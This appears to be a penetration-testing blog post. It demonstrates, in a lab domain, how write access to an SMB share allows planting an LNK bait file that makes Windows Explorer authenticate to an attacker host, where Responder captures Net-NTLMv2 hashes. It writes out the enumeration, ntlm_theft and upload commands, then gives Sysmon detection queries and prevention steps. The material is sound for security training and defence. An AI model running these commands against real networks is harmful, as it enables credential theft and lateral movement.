In internal penetration tests and red team engagements, an account with write privileges over an SMB share can be your best bet to go further and compromise more accounts. On the surface, write access to a share seems like a minor finding, you can drop files, maybe exfiltrate data. In reality, it is a privilege that can be abused to force authentication from any user that browses that share, capturing their Net-NTLMv2 “hash” without a single click.
This technique does not rely on crazy exploits. It is in fact abusing the way Windows handles certain file types when a directory is opened. Files like .scf, .url, .lnk can contain references to remote UNC paths. When Windows renders a directory listing, it automatically attempts to resolve those paths, authenticating to the remote host in the process and handing the attacker a Net-NTLMv2 challenge-response they can take offline and crack.
As of 2026, Microsoft mitigated the SCF remote-icon loading behavior through ADV170014 in 2017. Systems that received the update no longer automatically retrieve remote icons in the same manner, significantly reducing the reliability of SCF-based credential theft attacks.
Windows Libraries (.library-ms) represent another file format that has been abused for credential theft. A library file is an XML-based container used by Windows Explorer to aggregate content from multiple locations into a single view. Because libraries can reference remote SMB or WebDAV paths, specially crafted .library-ms files have been used in phishing campaigns and NTLM hash disclosure attacks. Unlike LNK files, however, their behavior is more dependent on the Windows version and patch level, making them less suitable for a generic share-browse coercion technique.
What makes this particularly dangerous in real environments is the combination of two very common misconfigurations: overly permissive share access and weak user passwords.
1. Technical Overview
1.1 Net-NTLMv2 vs NT Hash – The Difference
It is worth clarifying the difference between an NT hash and a Net-NTLMv2 hash, as this is commonly confused. An NT hash is the direct MD4 hash of the user’s password and can be used for Pass-The-Hash attacks against NTLM-based services. A Net-NTLMv2 hash is the challenge-response value computed during an NTLM authentication attempt. It cannot be used for PtH attacks but this type of hash can be cracked offline or relayed to another host if SMB signing is not enforced on the target, resulting in a shell as the victim without directly knowing its password.
SMB signing is still inconsistently deployed across enterprise environments. Where SMB signing is not enforced, captured Net-NTLMv2 authentication can often be relayed to another host, allowing attackers to execute actions as the victim without knowing their password.
1.2 Why This Works In Modern Environments ?
Despite being a well-documented technique, forced authentication remains highly effective in real engagements for several reasons.
First, write access to shares is routinely granted to entire department groups without consideration for the coercion surface it creates. Second, NTLM cannot be simply disabled in most organizations because legacy applications, printers, third-party software, etc. depend on it. Third, the technique is passive. It does not generate process execution events, does not require code execution on the victim machine, and does not trigger antivirus or EDR behavioral detections since no malicious process runs. The only artifacts are a file creation event and a network connection.
2. The Attack
The lab environment consists of a Windows Server 2019 Domain Controller (DC01) and a Windows 10 Pro workstation (WEB01), both members of the securitycafe.lab domain. The attacking machine is a Kali Linux host connected to the lab network via WireGuard tunnel with IP 10.0.0.3.
In this scenario, we will use an already compromised Domain User account. The first step is to identify what shares exist on machines within scope and determine what level of access our current account has. NetExec can be used in order to enumerate the shares on a computer, and also enumerate the privileges the user has over the share.
nxc smb web01 -u 'wbailey' -p 'Password1!' --shares
The output shows the shares available on WEB01 and the permissions our account holds over each one. We can see the FinanceStorage share shows READ,WRITE, meaning our current user can read files and create new ones.
We use ntlm_theft to generate all known forced authentication file types. https://github.com/Greenwolf/ntlm_theft
python ../ntlm_theft.py -g all -s 10.0.0.3 -f Q1_Finance_Results
The ntlm_theft toolkit generates multiple file formats capable of triggering outbound authentication. For this demonstration, we will focus on LNK files because they remain the most reliable option for obtaining credentials when a user simply browses a directory. While formats such as SCF and Library-MS have historically been abused for similar purposes, modern Windows mitigations and version-specific behavior make them less predictable in real-world environments.
Responder is a tool that impersonates various network services, for example SMB, HTTP, FTP, or LDAP. It captures credentials from any client that connects to it. When the victim attempts to authenticate to our SMB listener, Responder completes just enough of the NTLM handshake to capture the Net-NTLMv2 response without establishing a real session.
╭─xrp@pentest ~/tools/AD ╰─➤ sudo responder -I wg0
With Responder running, we upload the malicious LNK file to the FinanceStorage share using smbclient, authenticating as wbailey.
╭─xrp@pentest ~/tools/AD/ntlm_theft/out/Q1_Finance_Results ‹master*› ╰─➤ smbclient //WEB01/FinanceStorage -U 'SECURITYCAFE\wbailey'smb: \> put Q1_Finance_Results.lnkputting file Q1_Finance_Results.lnk as \Q1_Finance_Results.lnk (22.0 kB/s) (average 6.8 kB/s)
If the victim visits the share and sees the file we will capture the Net-NTLMv2 hash. I will simulate the user mgeorge which is part of the IT Admins group.
After the victim visits the share, we will receive the hash in responder.
3. Detection
In mature environments, outbound SMB connections from user workstations to non-corporate IP addresses should be considered highly suspicious. Explorer.exe initiating SMB connections to external or untrusted systems is rarely part of normal business activity.
3.1 Sysmon Event ID 11 – File Create
The first indicator appears at the moment the malicious file lands on the share. Sysmon Event ID 11 captures file creation events, logging the target filename, the process responsible for the write, the user context, and a precise timestamp.
event.code: "11" AND host.name: "web01.securitycafe.lab" ANDfile.extension:("lnk","scf","url","library-ms")
While LNK files are common in enterprise environments, file creation events involving these extensions on shared folders should be correlated with subsequent outbound SMB connections for higher confidence detection
3.2 Sysmon Event ID 3 – NetworkConnect
The most definitive indicator fires the moment a user browses the share. Sysmon Event ID 3 captures outbound network connections with full context. When the Windows Explorer processes the LNK file’s icon location field it spawns an outbound SMB connection from explorer.exe to the attacker’s ip and port 445.
event.code: "3" AND host.name: "web01.securitycafe.lab" AND destination.port: 445
4. Prevention
4.1 Disable NTLM Authentication
The root cause of this issue is that Windows will attempt NTLM authentication to any SMB server it connects to. In environments that have fully migrated to Kerberos, NTLM can be disabled entirely via Group Policy.
4.2 Enforce Share Permission Reviews
Write access to shares should be granted on least-privilege basis. A user who only needs to read files from a share should never have write access. Regular audits of share permissions using tools like PowerView or native AD reporting can identify overly permissive shares before attackers do.
5. Conclusion
Forced authentication via malicious file drops demonstrates how simple misconfigurations can lead to serious compromise. Write access to network shares, combined with legacy NTLM authentication, creates an attack surface that requires no exploitation, no user interaction, and generates minimal detection footprint.
Many organizations classify share write access as a low-severity finding. In practice, any writable share accessible by multiple users should be treated as a potential credential collection point. Combined with NTLM authentication and the absence of SMB signing, a single writable directory can become a pivot point for privilege escalation and lateral movement across the domain.
The fix is straightforward: audit share permissions regularly, disable NTLM where feasible, enforce SMB signing, and deploy proper endpoint monitoring. Until organizations treat share write access with the same scrutiny as administrative privileges, this technique will remain a reliable vector for lateral movement in Active Directory environments.